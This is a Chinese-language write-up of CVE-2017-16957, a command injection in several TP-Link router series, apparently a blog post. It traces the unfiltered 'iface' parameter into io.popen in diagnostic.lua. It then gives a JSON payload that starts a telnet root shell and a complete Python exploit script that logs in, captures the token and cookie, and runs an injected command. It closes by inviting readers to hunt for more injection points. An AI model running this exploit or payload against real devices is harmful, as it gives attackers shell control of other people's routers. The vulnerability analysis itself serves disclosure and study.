TP-Link 路由器命令注入漏洞(CVE-2017-16957)

### 0x01 背景 TP-Link TL-WVR 等都是中国普联（TP-LINK）公司的无线路由器产品。 多款 TP-Link 系列产品存在命令注入漏洞，攻击者在登录后可发送恶意字段，经拼接后导致任意命令执行。 该漏洞由 coincoin7 发现，漏洞编号 CVE-2017-16957 ### 0x02 受影响产品 TP-LINK TL-WVR 系列 TP-LINK TL-WAR 系列 TP-LINK TL-ER 系列 TP-LINK TL-R 系列 ### 0x03 漏洞分析 根据原文提供的链接，下载了 TL-WVR450L 的固件，使用 binwalk 解包，拿到 squashfs 系统文件，再用 squashfs-tools 将文件提取出来  下面是原作者提供的漏洞信息 受影响组件：uhttpd 漏洞文件：/usr/lib/lua/luci/controller/admin/diagnostic.lua 漏洞函数：zone_get_effect_devices(t)  89 行将传递的参数没有经过任何检查过滤，直接拼接到 cmd，通过 io.popen 进行命令执行。 找到当前文件调用 zone_get_effect_devices 的 ping_action 函数  这里将传递的 http_form 进行 json 解析，将 json 参数 params.iface 传入函数 zone_get_effect_devices。 继续往上找到调用 ping_action 的 start_action 函数  继续往上找调用 start_action  根据上面需要填写的信息，POST 请求 [省略]/admin/diagnostic?form=diag，构造 json 编码的 data 数据 ``` { "method": "start", "params": { "type": "0", "type_hidden": "0", "ipaddr_ping": "baidu.com", "iface_ping": "WAN1", "ipaddr": "baidu.com", "iface": ";telnetd -p 24 -l /bin/sh", "count": "1", "pktsize": "64", "my_result": "The Router is ready.\r\n" } } ``` 在 Web 认证登录后，发送构造好的恶意 Payload，执行命令 telnetd -p 24 -l /bin/sh，就会打开路由器的 telnet 功能。 漏洞利用脚本 exp.py： ``` # Tested product: TL-WVR450L # Hardware version：V1.0 # Firmware version: 20161125 # The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager. # You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.jsimport execjsimport requestsimport jsonimport urllibdef read_js(): file = open("./RSA_Encryption_For_Tplink.js", 'r') line = file.readline() js = '' while line: js = js + line line = file.readline() file.close() return jsdef execute(ip, port, username, passwd, cmd): try: s = requests.session() uri = "http://{}:{}".format(ip,port) headers = { 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Referer': 'http://{}/webpages/login.html'.format(ip) } payload = { "method":"get" } ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8") rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8") js = read_js() js_handle = execjs.compile(js) password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd) payload = { "method":"login", "params":{ "username":"{}".format(username), "password":"{}".format(password) } } ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) stok = json.loads(ret.text)['result']['stok'].encode('utf-8') cookie = ret.headers['Set-Cookie'] print '[+] Login success' print '[+] Get The Token: ' + stok print '[+] Get The Cookie: ' + cookie headers = { 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Referer':'http://{}/webpages/login.html'.format(ip), 'Cookie':'{}'.format(cookie) } payload = { "method":"start", "params":{ "type":"0", "type_hidden":"0", "ipaddr_ping":"127.0.0.1", "iface_ping":"WAN1", "ipaddr":"127.0.0.1", "iface":";{}".format(cmd), "count":"1", "pktsize":"64", "my_result":"exploit" } } ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) #print ret.text print '[+] Finish RCE' print '--------------------------------------------------------------' return True except: return Falseif __name__=='__main__': print '-----------Tplink LUCI diagnostic Authenticated RCE-----------' print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh') ``` exp 需要下载 RSA_Encryption_For_Tplink.js 才能使用 ### 0x04 参考链接 https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/TplinkDiagnosticAuthenticatedRCE.txt ### 0x05 后语 通过挖掘发现，存在命令注入的不止 diagnostic.lua 一处，全局搜索 io.popen，你们懂的。感兴趣的同学可以去找下。